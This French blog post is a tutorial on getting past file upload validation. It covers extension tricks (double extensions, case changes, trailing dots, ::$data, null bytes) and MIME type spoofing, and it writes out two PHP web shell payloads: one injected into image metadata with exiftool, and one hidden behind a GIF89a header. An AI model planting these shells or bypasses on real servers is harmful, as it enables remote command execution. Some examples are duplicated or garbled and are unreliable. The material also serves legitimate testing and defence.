Le File Upload Bypass

Éviter les restrictions d’upload de fichiers

Il est possible d’uploader un fichier sur l’hébergement d’un site web lorsque les mécanismes de validation des fichiers ne sont pas suffisamment sécurisés.

Un attaquant peut alors faire exécuter des fichiers malicieux par un autre utilisateur ou par le serveur lui même.

Cela peu avoir lieu sur un espace authentifié comme pour l’installation un plugin WordPress par exemple.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Les extensions des fichiers

Les développeurs peuvent interdire l’envoi de certaines extensions.

Si ces cas n’ont pas étés prévus, il est possible d’éviter cette sécurité de différentes manières en renommant un fichier.

Ajouter une extension

Renommer un fichier.php en file.php.jpg.

Extensions alternatives

TypeExtension
phpphtml, .php, .php3, .php4, .php5, and .inc
aspasp, .aspx
perl.pl, .pm, .cgi, .lib
jsp.jsp, .jspx, .jsw, .jsv, and .jspf
Coldfusion.cfm, .cfml, .cfc, .dbm

Utiliser des extensions exécutables par le server

Renommer un fichier file.php5, file.shtml, file.asa, file.cert.

Modifier la casse

Renommer un fichier.php en file.PHp.

Modifier la ponctuation

Ajouter des points et/ou des espaces

Renommer votre fichier.php en file.asp… … . . .. ...

Utiliser le point-virgule ; (après l’extension interdite et avant une extension permise)

Renommer votre fichier.php en file.asp… … . . .. ...

Fonctionne seulement sur IIS 6 ou supérieur.

Utiliser les deux points : (après l’extension interdite et avant une extension permise)

Renommer votre fichier en file.asp:.jpg ou file.asp::$data

Utiliser un caractère null %00

Renommer votre fichier en file.asp%00.jpg.

Le MIME type : Modifier les types de contenus

Il est possible de modifier le type de contenu envoyé en interceptant une requête POST en route vers le serveur (Avec Burp, par exemple).

Le MIME type habituel pour du php :

Content-type: application/x-php

Pourra être modifié en :

Content-type: image/jpeg

PHP getimagesize() : Insérer un shellcode dans les métadonnées d’une image

Pour les uploads qui vérifient la taille de l’image en utilisant la fonction php getimagesize(), il est possible d’exécuter un shellcode en l’insérant dans l’attribut Commentaire des propriétés de l’images (les métadonnées) et en renommant l’image file.jpg.php.

Cela peut être fait graphiquement avec Gimp, ou par commande avec exiftool :

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
mv file.jpg file.php.jpg

Si file.jpg.php ne fonctionne pas, essayez file.php.jpg

Le Header GIF89a; : Éviter le scan des fichiers

Lorsque le contenu d’un fichier est scanné, il est possible d’éviter les restrictions en ajoutant le header GIF89a; en haut d’un shellcode.

GIF89a;
<?
system($_GET['cmd']); # shellcode goes here
?>



Dans un prochain article nous verrons la faille Cross-Site Scripting (XSS).

En attendant, retrouvez tous nos articles : Hacking, Dev, Sécu.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *